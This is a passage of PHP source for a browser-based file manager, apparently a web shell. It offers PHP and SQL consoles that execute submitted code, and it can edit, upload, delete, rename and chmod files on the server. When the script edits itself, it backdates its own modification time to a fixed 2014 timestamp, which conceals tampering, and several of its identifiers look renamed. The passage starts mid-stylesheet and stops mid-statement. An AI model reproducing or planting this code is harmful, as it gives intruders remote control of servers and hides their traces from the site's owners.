url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($form_confoy['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($form_confoy['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_sekorm)?'':'<tr><td class="row2" colspan="2">'.$msg_sekorm.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$form_confoy['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$form_confoy['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$form_confoy['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$form_confoy['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_motti['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_motti['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_motti['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_motti['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_motti['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_motti['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$form_confoy['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_sekorm .= __('File updated'); else $msg_sekorm .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($form_confoy['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_sekorm?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_motti['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_sekorm .= (__('File updated')); else $msg_sekorm .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_sekorm?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_sekorm .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_sekorm?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg_sekorm = ''; if(!empty($_FILES['upload'])&&!empty($form_confoy['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_sekorm .= __('Error occurred'); } else { $msg_sekorm .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_fisiere(($path . $_REQUEST['delete']), true)) { $msg_sekorm .= __('Error occurred'); } else { $msg_sekorm .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($form_confoy['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_sekorm .= __('Error occurred'); } else { $msg_sekorm .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_fisiere($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_sekorm .= __('Found in fisiere').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_sekorm .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_sekorm .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($form_confoy['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_sekorm .= __('Error occurred'); } else { fclose($fp); $msg_sekorm .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_sekorm .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. 